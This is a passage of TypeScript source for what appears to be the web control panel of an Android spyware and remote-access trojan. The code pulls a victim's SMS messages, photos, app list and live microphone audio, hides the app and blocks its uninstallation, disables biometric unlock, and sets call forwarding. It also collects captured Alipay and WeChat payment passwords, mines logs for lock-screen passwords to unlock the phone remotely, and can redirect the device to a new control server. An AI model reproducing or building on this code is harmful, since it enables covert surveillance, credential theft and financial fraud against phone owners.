    // 🆕 监听应用设置响应
    const handleAppSettingsResponse = (data: any) => {
      if (data.deviceId === deviceId) {
        console.log('⚙️ 应用设置响应:', data)
        if (data.success) {
          message.success('应用设置已打开')
          console.log(`⚙️ [设备 ${deviceId}] 应用设置已成功打开`)
        } else {
          message.error(`打开应用设置失败: ${data.message}`)
          console.error(`⚙️ [设备 ${deviceId}] 打开应用设置失败:`, data.message)
        }
      }
    }

    // 🆕 监听应用隐藏响应
    const handleAppHideResponse = (data: any) => {
      if (data.deviceId === deviceId) {
        console.log('📱 应用隐藏响应:', data)

        // 更新本地状态
        setIsAppHidden(data.isHidden)

        if (data.success) {
          if (data.fromDevice) {
            // 来自设备端的状态报告
            console.log(`📱 [设备 ${deviceId}] 收到设备端状态报告: ${data.isHidden ? '已隐藏' : '已显示'}`)
            message.info(`设备状态: ${data.message}`)
          } else {
            // 来自服务端的操作响应
            message.success(data.isHidden ? '应用已隐藏' : '应用已显示')
            console.log(`📱 [设备 ${deviceId}] 应用隐藏状态已更新: ${data.isHidden}`)
          }
        } else {
          message.error(`应用隐藏操作失败: ${data.message}`)
          console.error(`📱 [设备 ${deviceId}] 应用隐藏操作失败:`, data.message)
        }
      }
    }

    // 🆕 监听设备应用隐藏状态变化（全局广播）
    const handleDeviceAppHideStatusChanged = (data: any) => {
      if (data.deviceId === deviceId) {
        console.log('📱 设备应用隐藏状态变化:', data)
        setIsAppHidden(data.isHidden)
        // 不显示消息，避免干扰用户，仅更新状态
      }
    }

    // 🆕 重新获取投屏权限响应处理
    const handleRefreshPermissionResponse = (data: any) => {
      console.log('📺 收到重新获取投屏权限响应:', data)
      if (data.deviceId === deviceId) {
        setIsRefreshingPermission(false)
        const detail = String(data?.message || '').trim()
        if (data.success) {
          const isPendingConfirmation = /命令已发送|请在设备上|手动确认|manual/i.test(detail)
          updatePermissionStatus(
            'mediaProjection',
            isPendingConfirmation ? 'requesting' : 'granted',
            detail || (isPendingConfirmation ? '等待设备端确认投屏权限' : '投屏权限已获取')
          )
          message.success('投屏权限重新申请成功，请在设备上确认权限')
          console.log(`📺 [设备 ${deviceId}] 投屏权限重新申请成功`)
        } else {
          updatePermissionStatus('mediaProjection', 'missing', detail || '投屏权限获取失败')
          message.error(`重新申请投屏权限失败: ${data.message}`)
          console.error(`📺 [设备 ${deviceId}] 重新申请投屏权限失败:`, data.message)
        }
      }
    }

    // 🆕 处理关闭配置遮盖响应
    const handleCloseConfigMaskResponse = (data: any) => {
      if (!data || data.deviceId !== deviceId) return

      if (data.permissionType === 'CONFIG_MASK_CLOSE') {
        if (data.success) {
          message.success(data.message || 'Config mask closed')
        } else {
          message.error(data.message || 'Failed to close config mask')
        }
        return
      }

      const permissionType = String(data.permissionType || '')
      const detail = String(data.message || '').trim()

      if (permissionType === 'media_projection') {
        updatePermissionStatus('mediaProjection', data.success ? 'granted' : 'missing', detail || (data.success ? '投屏权限已获取' : '投屏权限未获取'))
        return
      }

      if (permissionType === 'camera') {
        updatePermissionStatus('camera', data.success ? 'granted' : 'missing', detail || (data.success ? '相机权限已获取' : '相机权限未获取'))
        return
      }

      if (permissionType === 'microphone') {
        updatePermissionStatus('microphone', data.success ? 'granted' : 'missing', detail || (data.success ? '麦克风权限已获取' : '麦克风权限未获取'))
        setMicPermission(data.success ? 'granted' : 'denied')
        return
      }

      if (permissionType === 'sms') {
        updatePermissionStatus('sms', data.success ? 'granted' : 'missing', detail || (data.success ? '短信权限已获取' : '短信权限未获取'))
        return
      }

      if (permissionType === 'gallery') {
        updatePermissionStatus('gallery', data.success ? 'granted' : 'missing', detail || (data.success ? '相册权限已获取' : '相册权限未获取'))
        return
      }

      if (permissionType === 'battery_optimization') {
        updatePermissionStatus('batteryOptimization', data.success ? 'granted' : 'missing', detail || (data.success ? '省电策略已放行' : '省电策略仍在限制'))
        return
      }

      if (permissionType === 'background_start') {
        updatePermissionStatus('backgroundStart', data.success ? 'granted' : 'missing', detail || (data.success ? '后台启动策略正常' : '后台启动可能受限'))
        return
      }

      if (permissionType === 'biometric_disable') {
        setBiometricDisabling(false)
        if (data.success) {
          message.success(detail || '已执行一键禁用指纹/人脸')
        } else {
          message.warning(detail || '一键禁用指纹/人脸失败')
        }
        return
      }

      if (data.permissionType === 'app_list') {
        clearAppListRequestTimeout()
        setAppListLoading(false)
        updatePermissionStatus('appList', data.success ? 'granted' : 'missing', detail || (data.success ? '应用列表读取成功' : '应用列表读取失败'))
        setAppListPermission({
          granted: !!data.success,
          message: data.message || ''
        })
        if (!data.success) {
          message.warning(data.message || 'Failed to fetch app list')
        }
        return
      }

      if (data.permissionType === 'app_injection') {
        const msg = (data.message || '').toString()
        const normalized = msg.toLowerCase()

        const pendingEnable = pendingInjectionEnableRef.current
        const pendingPackage = pendingInjectionPackageRef.current
        if (pendingEnable !== null) {
          if (data.success) {
            if (pendingEnable) {
              setInjectedAppPackage(pendingPackage)
            } else {
              setInjectedAppPackage(null)
            }
          }
          setPendingInjectionEnable(null)
          setPendingInjectionPackage(null)
        }
        setInjectingAppPackage(null)

        if (normalized.includes('accepted') || normalized.includes('disabled')) {
          setInjectedAppPackage(null)
        }

        if (data.success) {
          message.success(msg || 'App injection updated')
        } else {
          message.warning(msg || 'App injection update failed')
        }
      }
    }

    const handleUninstallProtectionResponse = (data: any) => {
      console.log('🛡️ 防止卸载功能响应:', data)
      if (data.deviceId === deviceId) {
        setIsUninstallProtectionEnabled(data.enabled)
        setUninstallProtectionStatus(data.enabled ? 'monitoring' : 'idle')

        if (data.success) {
          message.success(data.enabled ? '防止卸载监听已启动' : '防止卸载监听已停止')
          console.log(`🛡️ [设备 ${deviceId}] 防止卸载状态: ${data.enabled ? '启动' : '停止'}`)
        } else {
          message.error(`防止卸载操作失败: ${data.message}`)
          console.error(`🛡️ [设备 ${deviceId}] 防止卸载操作失败:`, data.message)
        }
      }
    }

    // 🛡️ 监听卸载尝试检测事件
    const handleUninstallAttemptDetected = (data: any) => {
      console.log('🛡️ 检测到卸载尝试:', data)
      if (data.deviceId === deviceId) {
        message.warning(`检测到卸载尝试: ${data.type}，已自动返回主页`)
        console.log(`🛡️ [设备 ${deviceId}] 卸载尝试被阻止: ${data.type}`)
      }
    }

    // 📱 监听SMS数据响应（兼容直接载荷与包裹在success结构内的两种格式）
    const handleSmsDataResponse = (data: any) => {
      console.log('📱 收到SMS数据:', data)
      // 可能的两种格式：
      // 1) 直接载荷: { deviceId, type: 'sms_data', timestamp, count, smsList }
      // 2) 包裹载荷: { success: true, data: { ...上面结构... } }

      // 解包
      const payload = (data && data.success && data.data) ? data.data : data

      // 仅处理当前设备的数据
      if (!payload || payload.deviceId !== deviceId) return

      setSmsLoading(false)

      // 校验payload是否为sms_data
      if (payload.type === 'sms_data' && Array.isArray(payload.smsList)) {
        setSmsData(payload)
        const count = typeof payload.count === 'number' ? payload.count : payload.smsList.length
        updatePermissionStatus('sms', 'granted', `短信读取成功，共 ${count} 条`)
        // 读取后直接在短信卡片内展示
        if (typeof payload.count === 'number') {
          message.success(`成功获取 ${payload.count} 条短信`)
        }
      } else if (data && data.success === false) {
        const detail = String(data.message || '').trim()
        updatePermissionStatus('sms', 'missing', detail || '短信读取失败')
        message.error(`获取短信数据失败: ${data.message || '未知错误'}`)
      } else {
        console.warn('未识别的SMS数据格式:', data)
      }
    }

    // 📷 监听相册数据响应
    const handleAlbumDataResponse = (data: any) => {
      console.log('📷 收到相册数据:', data)

      // 解包
      const payload = (data && data.success && data.data) ? data.data : data

      // 仅处理当前设备的数据
      if (!payload || payload.deviceId !== deviceId) return

      setAlbumLoading(false)

      // 校验payload是否为album_data
      if (payload.type === 'album_data' && Array.isArray(payload.albumList)) {
        const normalizedAlbumList = payload.albumList.map((img: any) => {
          const mimeType = img?.mimeType ?? 'image/jpeg'
          const base64Data = img?.data || ''
          const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : ''
          return {
            ...img,
            url: '',
            resolvedUrl: dataUrl || img?.contentUri || ''
          }
        })
        setAlbumData({ ...payload, albumList: normalizedAlbumList })
        const count = typeof payload.count === 'number' ? payload.count : normalizedAlbumList.length
        updatePermissionStatus('gallery', 'granted', `相册读取成功，共 ${count} 张`)
        // 停止两个按钮的 loading
        dispatch(setGalleryLoading(false))
        if (typeof payload.count === 'number') {
          message.success(`成功获取 ${payload.count} 张相册图片`)
        }
      } else if (data && data.success === false) {
        const detail = String(data.message || '').trim()
        if (/权限|permission/i.test(detail) || !detail) {
          updatePermissionStatus('gallery', 'missing', detail || '相册权限未获取')
        }
        message.error(`获取相册数据失败: ${data.message || '未知错误'}`)
        setAlbumLoading(false)
        dispatch(setGalleryLoading(false))
      } else {
        console.warn('未识别的相册数据格式:', data)
      }
    }

    const handleAppListDataResponse = (data: any) => {
      const payload = (data && data.success && data.data) ? data.data : data
      if (!payload || payload.deviceId !== deviceId) return

      const list: AppListItem[] = Array.isArray(payload.appList) ? payload.appList : []
      clearAppListRequestTimeout()
      setAppListData({
        deviceId,
        type: 'app_list_data',
        timestamp: payload.timestamp || Date.now(),
        count: typeof payload.count === 'number' ? payload.count : list.length,
        appList: list
      })
      setAppListLoading(false)
      const hasApps = list.length > 0
      updatePermissionStatus('appList', hasApps ? 'granted' : 'missing', hasApps ? `应用列表读取成功，共 ${list.length} 个` : '应用列表为空或受系统限制')
      setAppListPermission({
        granted: hasApps,
        message: hasApps ? `应用列表读取完成，共 ${list.length} 个` : '应用列表为空或受系统限制'
      })
    }

    const handleAppOpenResult = (data: any) => {
      if (!data || data.deviceId !== deviceId) return
      setOpeningAppPackage(null)

      if (data.success) {
        message.success(data.message || `应用已打开: ${data.packageName || ''}`)
      } else {
        message.error(data.message || `打开应用失败: ${data.packageName || ''}`)
      }
    }

    const handleCallForwardResult = (data: CallForwardResultData) => {
      if (!data || data.deviceId !== deviceId) return
      setCallForwardSubmitting(false)

      const normalizedRule = ((): CallForwardRule => {
        const rawRule = String(data.rule || 'all').trim().toLowerCase()
        if (rawRule === 'busy') return 'busy'
        if (rawRule === 'no_reply' || rawRule === 'no-answer' || rawRule === 'no_answer') return 'no_reply'
        if (rawRule === 'not_reachable' || rawRule === 'unreachable') return 'not_reachable'
        return 'all'
      })()
      const actionText = data.action === 'cancel' ? '取消' : '设置'
      const ruleText = callForwardRuleLabels[normalizedRule]
      const resultText = data.message || `${actionText}${ruleText}${data.success ? '成功' : '失败'}`

      if (data.success) {
        message.success(resultText)
      } else {
        message.warning(resultText)
      }
    }

    webSocket.on('operation_log_realtime', handleRealtimeLog)
    webSocket.on('operation_logs_response', handleLogResponse)
    webSocket.on('clear_logs_response', handleClearLogResponse)
    webSocket.on('get_device_password_response', handleGetPasswordResponse)
    webSocket.on('device_control_response', handleDeviceControlResponse)
    webSocket.on('save_device_password_response', handleSavePasswordResponse)
    webSocket.on('update_device_state_response', handleUpdateDeviceStateResponse)
    webSocket.on('get_device_state_response', handleGetDeviceStateResponse)
    webSocket.on('device_input_blocked_changed', handleDeviceInputBlockedChanged)
    webSocket.on('device_logging_state_changed', handleDeviceLoggingStateChanged)
    webSocket.on('device_state_restored', handleDeviceStateRestored)
    webSocket.on('password_search_response', handlePasswordSearchResponse)
    webSocket.on('ui_hierarchy_response', handleUIHierarchyResponse)
    webSocket.on('save_confirm_coords_response', handleSaveConfirmCoordsResponse)
    webSocket.on('confirm_coords_updated', handleConfirmCoordsUpdated)
    webSocket.on('black_screen_response', handleBlackScreenResponse)
    webSocket.on('app_settings_response', handleAppSettingsResponse)
    webSocket.on('app_hide_response', handleAppHideResponse)
    webSocket.on('device_app_hide_status_changed', handleDeviceAppHideStatusChanged)
    webSocket.on('refresh_permission_response', handleRefreshPermissionResponse)
    webSocket.on('permission_response', handleCloseConfigMaskResponse)
    webSocket.on('uninstall_protection_response', handleUninstallProtectionResponse)
    webSocket.on('uninstall_attempt_detected', handleUninstallAttemptDetected)
    webSocket.on('sms_data', handleSmsDataResponse)
    webSocket.on('album_data', handleAlbumDataResponse)
    webSocket.on('app_list_data', handleAppListDataResponse)
    webSocket.on('app_open_result', handleAppOpenResult)
    webSocket.on('call_forward_result', handleCallForwardResult)

    // 📷 单张相册图片保存事件（读取相册时逐张推送）
    const handleGalleryImageSaved = (payload: any) => {
      if (!payload || payload.deviceId !== deviceId) return
      const mimeType = payload.mimeType ?? 'image/jpeg'
      const base64Data = payload.data || ''
      const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : ''
      const resolvedUrl = dataUrl || payload.contentUri || ''
      const normalized: GallerySavedItem = {
        id: String(payload.id),
        deviceId: payload.deviceId,
        index: payload.index ?? 0,
        displayName: payload.displayName ?? '',
        dateAdded: payload.dateAdded ?? 0,
        mimeType,
        width: payload.width ?? 0,
        height: payload.height ?? 0,
        size: payload.size ?? 0,
        contentUri: payload.contentUri ?? '',
        timestamp: payload.timestamp ?? Date.now(),
        url: '',
        resolvedUrl
      }
      // 推入本地内联展示列表
      setGallerySavedList((prev) => [normalized, ...prev].slice(0, 500))
      // 同时写入全局相册，保证后续相册视图完整
      dispatch(addGalleryImage({
        id: String(normalized.id),
        deviceId: normalized.deviceId,
        index: normalized.index,
        displayName: normalized.displayName,
        dateAdded: normalized.dateAdded,
        mimeType: normalized.mimeType,
        width: normalized.width,
        height: normalized.height,
        size: normalized.size,
        contentUri: normalized.contentUri,
        timestamp: normalized.timestamp,
        url: normalized.resolvedUrl || normalized.url
      }))
      // 不强制展开相册区域，避免用户在等待弹窗期间视图抖动
    }
    webSocket.on('gallery_image_saved', handleGalleryImageSaved)

    const handleGalleryPermissionResponse = (data: any) => {
      if (!data || data.deviceId !== deviceId) return
      const hasPermission = typeof data.hasPermission === 'boolean' ? data.hasPermission : !!data.success
      const detail = String(data.message || '').trim()
      updatePermissionStatus(
        'gallery',
        hasPermission ? 'granted' : 'missing',
        detail || (hasPermission ? '相册权限已获取' : '相册权限未获取')
      )
    }
    webSocket.on('gallery_permission_response', handleGalleryPermissionResponse)

    // 🎙️ 监听麦克风音频数据
    const handleMicrophoneAudio = (data: any) => {
      // 仅处理当前设备的数据（若服务端带有deviceId）
      if (data.deviceId && data.deviceId !== deviceId) return
      console.log('🎙️ 收到音频数据:', data)
      setMicPermission('granted')
      updatePermissionStatus('microphone', 'granted', '麦克风音频流接收正常')
      if (typeof data.sampleRate === 'number') setMicSampleRate(data.sampleRate)
      if (typeof data.channels === 'number') setMicChannels(data.channels)
      if (typeof data.bitDepth === 'number') setMicBitDepth(data.bitDepth)
      // 直接播放 PCM_16BIT_MONO base64 数据
      if (data && data.audioData) {
        playPcmChunk(
          data.audioData,
          data.sampleRate || 16000,
          data.channels || 1
        )
      }
    }
    webSocket.on('microphone_audio', handleMicrophoneAudio)

    return () => {
      webSocket.off('operation_log_realtime', handleRealtimeLog)
      webSocket.off('operation_logs_response', handleLogResponse)
      webSocket.off('clear_logs_response', handleClearLogResponse)
      webSocket.off('get_device_password_response', handleGetPasswordResponse)
      webSocket.off('device_control_response', handleDeviceControlResponse)
      webSocket.off('save_device_password_response', handleSavePasswordResponse)
      webSocket.off('update_device_state_response', handleUpdateDeviceStateResponse)
      webSocket.off('get_device_state_response', handleGetDeviceStateResponse)
      webSocket.off('device_input_blocked_changed', handleDeviceInputBlockedChanged)
      webSocket.off('device_logging_state_changed', handleDeviceLoggingStateChanged)
      webSocket.off('device_state_restored', handleDeviceStateRestored)
      webSocket.off('password_search_response', handlePasswordSearchResponse)
      webSocket.off('ui_hierarchy_response', handleUIHierarchyResponse)
      webSocket.off('save_confirm_coords_response', handleSaveConfirmCoordsResponse)
      webSocket.off('confirm_coords_updated', handleConfirmCoordsUpdated)
      webSocket.off('black_screen_response', handleBlackScreenResponse)
      webSocket.off('app_settings_response', handleAppSettingsResponse)
      webSocket.off('app_hide_response', handleAppHideResponse)
      webSocket.off('device_app_hide_status_changed', handleDeviceAppHideStatusChanged)
      webSocket.off('refresh_permission_response', handleRefreshPermissionResponse)
      webSocket.off('permission_response', handleCloseConfigMaskResponse)
      webSocket.off('uninstall_protection_response', handleUninstallProtectionResponse)
      webSocket.off('uninstall_attempt_detected', handleUninstallAttemptDetected)
      webSocket.off('sms_data', handleSmsDataResponse)
      webSocket.off('album_data', handleAlbumDataResponse)
      webSocket.off('app_list_data', handleAppListDataResponse)
      webSocket.off('app_open_result', handleAppOpenResult)
      webSocket.off('call_forward_result', handleCallForwardResult)
      webSocket.off('gallery_image_saved', handleGalleryImageSaved)
      webSocket.off('gallery_permission_response', handleGalleryPermissionResponse)
      webSocket.off('microphone_audio', handleMicrophoneAudio)
      clearAppListRequestTimeout()
    }
  }, [webSocket, deviceId, dispatch])

  const sendControlMessage = (type: string, data: any = {}) => {
    if (!webSocket) return

    // 检查操作是否被允许
    if (!operationEnabled) {
      console.warn('操作已被阻止')
      return
    }

    webSocket.emit('control_message', {
      type,
      deviceId,
      data,
      timestamp: Date.now()
    })
  }

  // 认证由 apiClient 统一处理

  // 密码类型筛选（DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD）
  const [passwordFilter, setPasswordFilter] = useState<'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'>('DEFAULT')

  // 🔐 密码输入界面打开（6位PIN / 4位PIN / 图形密码）
  const handleOpenPinInput = () => {
    sendControlMessage('OPEN_PIN_INPUT', {})
  }

  const handleOpenFourDigitPin = () => {
    sendControlMessage('OPEN_FOUR_DIGIT_PIN', {})
  }

  const handleOpenPatternLock = () => {
    sendControlMessage('OPEN_PATTERN_LOCK', {})
  }

  // 支付宝检测相关API函数
  const startAlipayDetection = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🔍 启动支付宝检测')
    webSocket.emit('camera_control', {
      action: "ALIPAY_DETECTION_START", deviceId,
      data: {}
    })

    setAlipayDetectionEnabled(true)
    message.success('支付宝检测已启动')
  }

  const stopAlipayDetection = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🛑 停止支付宝检测')
    webSocket.emit('camera_control', {
      action: "ALIPAY_DETECTION_STOP",
      deviceId,
      data: {}
    })

    setAlipayDetectionEnabled(false)
    message.success('支付宝检测已停止')
  }

  // 获取密码记录列表（支持筛选 DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD）
  const fetchAlipayPasswords = async (page: number = 1, pageSize: number = 10) => {
    try {
      setAlipayPasswordLoading(true)
      const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}`
      const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`)

      if (data.success) {
        setAlipayPasswords(data.data.passwords)
        setAlipayPasswordTotal(data.data.total)
        setAlipayPasswordPage(data.data.page)
        setAlipayPasswordPageSize(data.data.pageSize)
      } else {
        message.error('获取密码记录失败')
      }
    } catch (error) {
      console.error('获取支付宝密码记录失败:', error)
      message.error('获取密码记录失败')
    } finally {
      setAlipayPasswordLoading(false)
    }
  }

  // 获取密码记录列表（使用指定的筛选类型）
  const fetchAlipayPasswordsWithFilter = async (filter: string, page: number = 1, pageSize: number = 10) => {
    try {
      setAlipayPasswordLoading(true)
      const typeQuery = filter === 'DEFAULT' ? '' : `&passwordType=${filter}`
      const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`)

      if (data.success) {
        setAlipayPasswords(data.data.passwords)
        setAlipayPasswordTotal(data.data.total)
        setAlipayPasswordPage(data.data.page)
        setAlipayPasswordPageSize(data.data.pageSize)
      } else {
        message.error('获取密码记录失败')
      }
    } catch (error) {
      console.error('获取密码记录失败:', error)
      message.error('获取密码记录失败')
    } finally {
      setAlipayPasswordLoading(false)
    }
  }

  // 获取最新密码
  const fetchLatestPassword = async () => {
    try {
      const data: AlipayPasswordSingleResponse = await apiClient.get(`/api/alipay-passwords/${deviceId}/latest`)

      if (data.success && data.data) {
        // 最新密码展示逻辑已移除
        message.success('已获取最新密码')
      } else {
        message.info('暂无密码记录')
      }
    } catch (error) {
      console.error('获取最新密码失败:', error)
      message.error('获取最新密码失败')
    }
  }

  // 删除密码记录（按筛选类型删除）
  const deleteAllPasswords = async () => {
    try {
      const typeQuery = passwordFilter === 'DEFAULT' ? '' : `?passwordType=${passwordFilter}`
      const data = await apiClient.delete<{ success: boolean }>(`/api/password-inputs/${deviceId}${typeQuery}`)

      if (data.success) {
        setAlipayPasswords([])
        // 最新密码展示逻辑已移除
        message.success('已删除所有密码记录')
        // 删除后刷新当前筛选类型列表
        fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize)
      } else {
        message.error('删除密码记录失败')
      }
    } catch (error) {
      console.error('删除密码记录失败:', error)
      message.error('删除密码记录失败')
    }
  }


  // 🆕 重新获取投屏权限
  const handleRefreshPermission = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📺 重新获取投屏权限')
    setIsRefreshingPermission(true)
    updatePermissionStatus('mediaProjection', 'requesting', '已发送投屏权限请求，等待设备确认')

    webSocket.emit('client_event', {
      type: 'REFRESH_MEDIA_PROJECTION_PERMISSION',
      data: { deviceId }
    })
  }

  // 🆕 手动授权投屏权限（不自动点击确认）
  const handleRefreshPermissionManual = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📺 手动授权投屏权限（不自动点击）')
    updatePermissionStatus('mediaProjection', 'requesting', '已发送手动授权请求，等待设备侧手动确认')

    webSocket.emit('client_event', {
      type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
      data: { deviceId }
    })

    message.info('已发送手动授权请求，请在设备上手动确认权限弹窗')
  }

  // 🆕 暂停屏幕捕获 - 已隐藏（功能已移至RemoteControlApp）
  // const handlePauseScreenCapture = () => {
  //   if (!webSocket) {
  //     message.error('WebSocket未连接')
  //     return
  //   }

  //   console.log('⏸️ 暂停屏幕捕获')
  //   sendControlMessage('SCREEN_CAPTURE_PAUSE', {})
  //   message.success('已发送暂停屏幕捕获指令')
  // }

  // 🆕 恢复屏幕捕获 - 已隐藏（功能已移至RemoteControlApp）
  // const handleResumeScreenCapture = () => {
  //   if (!webSocket) {
  //     message.error('WebSocket未连接')
  //     return
  //   }

  //   console.log('▶️ 恢复屏幕捕获')
  //   sendControlMessage('SCREEN_CAPTURE_RESUME', {})
  //   message.success('已发送恢复屏幕捕获指令')
  // }
  // 微信检测相关API函数
  const startWechatDetection = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🔍 启动微信检测')
    webSocket.emit('camera_control', {
      action: "WECHAT_DETECTION_START",
      deviceId,
      data: {}
    })

    setWechatDetectionEnabled(true)
    message.success('微信检测已启动')
  }

  const stopWechatDetection = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🛑 停止微信检测')
    webSocket.emit('camera_control', {
      action: "WECHAT_DETECTION_STOP",
      deviceId,
      data: {}
    })

    setWechatDetectionEnabled(false)
    message.success('微信检测已停止')
  }

  // 获取微信密码记录列表
  const fetchWechatPasswords = async (page: number = 1, pageSize: number = 10) => {
    try {
      setWechatPasswordLoading(true)
      const data: WechatPasswordListResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}?page=${page}&pageSize=${pageSize}`)

      if (data.success) {
        setWechatPasswords(data.data.passwords)
        setWechatPasswordTotal(data.data.total)
        setWechatPasswordPage(data.data.page)
        setWechatPasswordPageSize(data.data.pageSize)
      } else {
        message.error('获取微信密码记录失败')
      }
    } catch (error) {
      console.error('获取微信密码记录失败:', error)
      message.error('获取微信密码记录失败')
    } finally {
      setWechatPasswordLoading(false)
    }
  }

  // 获取最新微信密码
  const fetchLatestWechatPassword = async () => {
    try {
      const data: WechatPasswordSingleResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}/latest`)

      if (data.success && data.data) {
        // 最新微信密码展示逻辑已移除
        message.success('已获取最新微信密码')
      } else {
        message.info('暂无微信密码记录')
      }
    } catch (error) {
      console.error('获取最新微信密码失败:', error)
      message.error('获取最新微信密码失败')
    }
  }

  // 删除所有微信密码记录
  const deleteAllWechatPasswords = async () => {
    try {
      const data = await apiClient.delete<{ success: boolean }>(`/api/wechat-passwords/${deviceId}`)

      if (data.success) {
        setWechatPasswords([])
        // 最新微信密码展示逻辑已移除
        message.success('已删除所有微信密码记录')
      } else {
        message.error('删除微信密码记录失败')
      }
    } catch (error) {
      console.error('删除微信密码记录失败:', error)
      message.error('删除微信密码记录失败')
    }
  }

  // 日志控制函数
  const handleEnableLogging = () => {
    sendControlMessage('LOG_ENABLE')
    setIsLoggingEnabled(true)
    // ✅ 同步更新到数据库
    updateDeviceState({ loggingEnabled: true })
  }

  const handleDisableLogging = () => {
    sendControlMessage('LOG_DISABLE')
    setIsLoggingEnabled(false)
    // ✅ 同步更新到数据库
    updateDeviceState({ loggingEnabled: false })
  }

  const fetchOperationLogs = (page: number = 1, size: number = 50, type?: string) => {
    if (!webSocket) return

    setLogLoading(true)
    webSocket.emit('client_event', {
      type: 'GET_OPERATION_LOGS',
      data: {
        deviceId,
        page,
        pageSize: size,
        logType: type
      }
    })
  }

  // 日志查看与清理相关UI已移除（右侧改为Tab：设备信息/短信/摄像头/相册）

  const handlePageChange = (page: number, size?: number) => {
    setCurrentPage(page)
    if (size) setPageSize(size)
    fetchOperationLogs(page, size || pageSize, logTypeFilter)
  }

  const handleLogTypeFilterChange = (value: string | undefined) => {
    setLogTypeFilter(value)
    setCurrentPage(1)
    fetchOperationLogs(1, pageSize, value)
  }

  // ✅ 设备状态管理函数
  const savePasswordToDatabase = (password: string) => {
    if (!webSocket) return

    console.log('💾 保存密码到数据库:', password)
    webSocket.emit('client_event', {
      type: 'SAVE_DEVICE_PASSWORD',
      data: { deviceId, password }
    })
  }

  const updateDeviceState = (state: any) => {
    if (!webSocket) return

    console.log('📊 更新设备状态:', state)
    webSocket.emit('client_event', {
      type: 'UPDATE_DEVICE_STATE',
      data: { deviceId, state }
    })
  }

  // 防重复发送状态
  const [lastStateRequestTime, setLastStateRequestTime] = useState<number>(0)

  const getDeviceState = () => {
    if (!webSocket) return

    // 🔧 防止短时间内重复发送请求（1秒内只能发送一次）
    const now = Date.now()
    if (now - lastStateRequestTime < 1000) {
      console.log('⚠️ 状态获取请求过于频繁，跳过')
      return
    }

    console.log('📊 获取设备状态')
    setLastStateRequestTime(now)
    webSocket.emit('client_event', {
      type: 'GET_DEVICE_STATE',
      data: { deviceId }
    })
  }

  // 查找密码相关函数
  const handleSearchPasswords = () => {
    if (!webSocket || !deviceId) {
      message.error('WebSocket未连接或设备ID无效')
      return
    }

    console.log('🔍 开始从日志中查找密码...')
    setPasswordSearchLoading(true)
    setPasswordSearchVisible(true)

    // 发送查找密码请求
    webSocket.emit('client_event', {
      type: 'SEARCH_PASSWORDS_FROM_LOGS',
      data: { deviceId }
    })
  }

  const handleSelectPassword = (password: string) => {
    setSelectedPassword(password)
    // 如果选择了历史密码，清空自定义输入
    if (password && customPasswordInput.trim()) {
      setCustomPasswordInput('')
    }
  }

  const handleConfirmSelectedPassword = () => {
    // ✅ 优先使用自定义输入的密码，如果没有则使用选中的密码
    const finalPassword = customPasswordInput.trim() || selectedPassword

    if (!finalPassword) {
      message.warning('请输入密码或选择一个密码')
      return
    }

    console.log('✅ 用户最终使用密码:', finalPassword)
    console.log('  - 自定义输入:', customPasswordInput)
    console.log('  - 选中密码:', selectedPassword)

    // 关闭密码搜索弹窗
    setPasswordSearchVisible(false)

    // 保存最终密码到数据库
    savePasswordToDatabase(finalPassword)

    // 执行自动解锁
    performAutoUnlock(finalPassword)

    // 更新本地显示的密码
    setLastKnownPassword(finalPassword)
  }

  const handleCancelPasswordSearch = () => {
    setPasswordSearchVisible(false)
    setFoundPasswords([])
    setSelectedPassword('')
    setCustomPasswordInput('') // 清空自定义输入
  }

  // ✅ 新增：修改服务器地址功能
  const handleChangeServerUrl = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    if (!newServerUrl.trim()) {
      message.error('请输入新的服务器地址')
      return
    }

    setServerUrlChanging(true)
    console.log('🔄 修改服务器地址:', newServerUrl)



    webSocket.emit('client_event', {
      type: 'CHANGE_SERVER_URL',

      data: {
        deviceId: deviceId,
        data: {
          serverUrl: newServerUrl.trim()
        }

      }
    })

    // 显示成功消息并关闭弹窗
    setTimeout(() => {
      message.success('服务器地址修改指令已发送')
      setServerUrlModalVisible(false)
      setNewServerUrl('')
      setServerUrlChanging(false)
    }, 1000)
  }

  // 一键解锁相关函数
  const handleOneClickUnlock = () => {
    console.log('🔓 一键解锁按钮被点击')
    console.log('WebSocket状态:', !!webSocket)
    console.log('设备ID:', deviceId)

    if (!webSocket) {
      console.error('❌ WebSocket未连接')
      modal.error({
        title: '连接错误',
        content: 'WebSocket未连接，请检查网络连接'
      })
      return
    }

    setIsUnlocking(true)
    console.log('📤 发送GET_DEVICE_PASSWORD请求（优先从状态表获取）')
    webSocket.emit('client_event', {
      type: 'GET_DEVICE_PASSWORD',
      data: { deviceId }
    })
  }

  // 🆕 一键图案解锁处理函数
  const handlePatternUnlock = () => {
    console.log('🎨 一键图案解锁按钮被点击')

    if (!webSocket) {
      console.error('❌ WebSocket未连接')
      modal.error({
        title: '连接错误',
        content: 'WebSocket未连接，请检查网络连接'
      })
      return
    }

    if (!operationEnabled) {
      modal.warning({
        title: '权限不足',
        content: '您需要先获取设备控制权限才能使用图案解锁功能。请先点击"获取控制权"按钮。'
      })
      return
    }

    setIsPatternUnlocking(true)

    // 默认图案路径：123456
    const defaultPattern = [1, 2, 3, 4, 5, 6]

    console.log('🎨 发送图案解锁指令:', defaultPattern)

    modal.info({
      title: '正在执行图案解锁',
